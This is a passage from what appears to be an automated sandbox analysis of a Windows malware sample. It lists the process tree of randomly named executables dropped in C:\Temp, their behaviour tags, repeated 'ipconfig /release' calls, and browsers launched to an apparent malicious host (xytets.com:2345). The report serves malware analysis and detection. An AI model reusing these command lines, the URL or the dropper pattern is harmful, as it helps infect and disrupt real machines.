      C:\Temp\gaytqljdbv.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5548
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:6140
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3492
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gaytqljdbv.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5308
  - - C:\Temp\i_gaytqljdbv.exe
      C:\Temp\i_gaytqljdbv.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5292
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\snkidavtnl.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5300
  - - C:\Temp\snkidavtnl.exe
      C:\Temp\snkidavtnl.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4520
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5960
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3784
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_snkidavtnl.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1268
  - - C:\Temp\i_snkidavtnl.exe
      C:\Temp\i_snkidavtnl.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2100
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xvpnkfdxvp.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5316
  - - C:\Temp\xvpnkfdxvp.exe
      C:\Temp\xvpnkfdxvp.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4932
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1980
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4676
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xvpnkfdxvp.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4192
  - - C:\Temp\i_xvpnkfdxvp.exe
      C:\Temp\i_xvpnkfdxvp.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1476
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\fcausnkfdx.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4928
  - - C:\Temp\fcausnkfdx.exe
      C:\Temp\fcausnkfdx.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4256
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5972
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3352
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_fcausnkfdx.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2988
  - - C:\Temp\i_fcausnkfdx.exe
      C:\Temp\i_fcausnkfdx.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1960
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zxrpjhczus.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4260
  - - C:\Temp\zxrpjhczus.exe
      C:\Temp\zxrpjhczus.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5352
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4460
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3452
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zxrpjhczus.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3784
  - - C:\Temp\i_zxrpjhczus.exe
      C:\Temp\i_zxrpjhczus.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4920
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wurmjhezxr.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5924
  - - C:\Temp\wurmjhezxr.exe
      C:\Temp\wurmjhezxr.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6028
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4392
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3148
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wurmjhezxr.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3444
  - - C:\Temp\i_wurmjhezxr.exe
      C:\Temp\i_wurmjhezxr.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2624
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\romgebwuoj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2844
  - - C:\Temp\romgebwuoj.exe
      C:\Temp\romgebwuoj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2932
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2924
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3904
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_romgebwuoj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3524
  - - C:\Temp\i_romgebwuoj.exe
      C:\Temp\i_romgebwuoj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3376
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ljgebwtroj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5064
  - - C:\Temp\ljgebwtroj.exe
      C:\Temp\ljgebwtroj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4908
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2364
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6044
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ljgebwtroj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4812
  - - C:\Temp\i_ljgebwtroj.exe
      C:\Temp\i_ljgebwtroj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4584
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ligaytqljd.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5856
  - - C:\Temp\ligaytqljd.exe
      C:\Temp\ligaytqljd.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3228
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1224
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4788
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ligaytqljd.exe ups_ins
    3⤵
    PID:1796
  - - C:\Temp\i_ligaytqljd.exe
      C:\Temp\i_ligaytqljd.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4508
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gaysqlidbv.exe ups_run
    3⤵
    PID:1960
  - - C:\Temp\gaysqlidbv.exe
      C:\Temp\gaysqlidbv.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2108
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1848
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1680
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gaysqlidbv.exe ups_ins
    3⤵
    PID:5804
  - - C:\Temp\i_gaysqlidbv.exe
      C:\Temp\i_gaysqlidbv.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2404
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xspnlfcaus.exe ups_run
    3⤵
    PID:2060
  - - C:\Temp\xspnlfcaus.exe
      C:\Temp\xspnlfcaus.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2888
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2236
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5944
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xspnlfcaus.exe ups_ins
    3⤵
    PID:1584
  - - C:\Temp\i_xspnlfcaus.exe
      C:\Temp\i_xspnlfcaus.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4264
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\spkicsmkhc.exe ups_run
    3⤵
    PID:3824
  - - C:\Temp\spkicsmkhc.exe
      C:\Temp\spkicsmkhc.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3224
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3308
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3292
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_spkicsmkhc.exe ups_ins
    3⤵
    PID:3584
  - - C:\Temp\i_spkicsmkhc.exe
      C:\Temp\i_spkicsmkhc.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1908
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pnhfzxusmk.exe ups_run
    3⤵
    PID:5280
  - - C:\Temp\pnhfzxusmk.exe
      C:\Temp\pnhfzxusmk.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:476
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5388
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2908
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pnhfzxusmk.exe ups_ins
    3⤵
    PID:2872
  - - C:\Temp\i_pnhfzxusmk.exe
      C:\Temp\i_pnhfzxusmk.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6060
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\romhezxrpj.exe ups_run
    3⤵
    PID:4700
  - - C:\Temp\romhezxrpj.exe
      C:\Temp\romhezxrpj.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2008
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2436
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4268
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_romhezxrpj.exe ups_ins
    3⤵
    PID:5824
  - - C:\Temp\i_romhezxrpj.exe
      C:\Temp\i_romhezxrpj.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2452
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hbztrljebw.exe ups_run
    3⤵
    PID:4828
  - - C:\Temp\hbztrljebw.exe
      C:\Temp\hbztrljebw.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4468
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4764
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3500
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hbztrljebw.exe ups_ins
    3⤵
    PID:4580
  - - C:\Temp\i_hbztrljebw.exe
      C:\Temp\i_hbztrljebw.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4076
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mgebztromj.exe ups_run
    3⤵
    PID:2076
  - - C:\Temp\mgebztromj.exe
      C:\Temp\mgebztromj.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1332
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4748
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5344
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mgebztromj.exe ups_ins
    3⤵
    PID:3904
  - - C:\Temp\i_mgebztromj.exe
      C:\Temp\i_mgebztromj.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2352
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\olgeywqoig.exe ups_run
    3⤵
    PID:3952
  - - C:\Temp\olgeywqoig.exe
      C:\Temp\olgeywqoig.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1368
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5928
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4964
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_olgeywqoig.exe ups_ins
    3⤵
    PID:5080
  - - C:\Temp\i_olgeywqoig.exe
      C:\Temp\i_olgeywqoig.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5164
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5056
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1568
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2c8,0x300,0x7ffa6217c188,0x7ffa6217c194,0x7ffa6217c1a0
      4⤵
      PID:704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1580,i,2416641884440036446,11346167503638004499,262144 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=2540 /prefetch:2
      4⤵
      PID:2104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1944,i,12841948052186068829,14737448301307016641,524288 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=2604 /prefetch:11
      4⤵
      System Time Discovery
      PID:4792
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2268,i,5488189239410772618,15944168124645672840,524288 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=3092 /prefetch:13
      4⤵
      PID:4372
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3596,i,17838243783366929676,18213793735037844789,2097152 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:1
      4⤵
      PID:2688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3464,i,1599820694944069726,15928438019263629322,2097152 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=3636 /prefetch:1
      4⤵
      PID:5748
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4292,i,8553634157084546906,6467237218804488680,2097152 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=4336 /prefetch:1
      4⤵
      PID:4924
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4304,i,15651728563881867894,12938152475876467275,2097152 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=4456 /prefetch:9
      4⤵
      PID:6076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3776,i,10518331100387373362,13048578678367870969,524288 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=3684 /prefetch:14
      4⤵
      PID:3232
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5444,i,807271436778327443,299169806185213959,524288 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:14
      4⤵
      PID:4780
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5460,i,7115475530180349553,12672741192848395416,524288 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=5308 /prefetch:14
      4⤵
      PID:2512
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6068,i,10540619956101009602,7916329074959710252,524288 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=6084 /prefetch:14
      4⤵
      PID:5824
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6068,i,10540619956101009602,7916329074959710252,524288 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=6084 /prefetch:14
      4⤵
      PID:3220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6280,i,13804022436504459635,1416495916287341430,524288 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=6260 /prefetch:14
      4⤵
      PID:4520
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6636,i,10167649187700675234,1805600095480994248,524288 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=6664 /prefetch:14
      4⤵
      PID:5960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5152,i,14172625659302033997,17587896170329090272,524288 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=3800 /prefetch:14
      4⤵
      PID:6068
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5136,i,16526991771313695296,15644685063759306387,524288 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=5108 /prefetch:14
      4⤵
      PID:4812
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5140,i,8594386105835479434,4457272629861451843,524288 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=6140 /prefetch:14
      4⤵
      PID:5856
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5328,i,14080683945091239203,2429635531087957911,524288 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=5544 /prefetch:14
      4⤵
      PID:5512
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6328,i,4811840469662770438,974406433240089542,524288 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=5156 /prefetch:14
      4⤵
      PID:4436
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5744,i,5655603542637437623,2580325417104325515,524288 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=4500 /prefetch:14
      4⤵
      PID:3176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=932,i,6430266703385046289,14879337273791184581,524288 --field-trial-handle=2544,i,13022498600552267448,9910230430601507572,262144 --variations-seed-version --mojo-platform-channel-handle=5156 /prefetch:14
      4⤵
      PID:5240
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
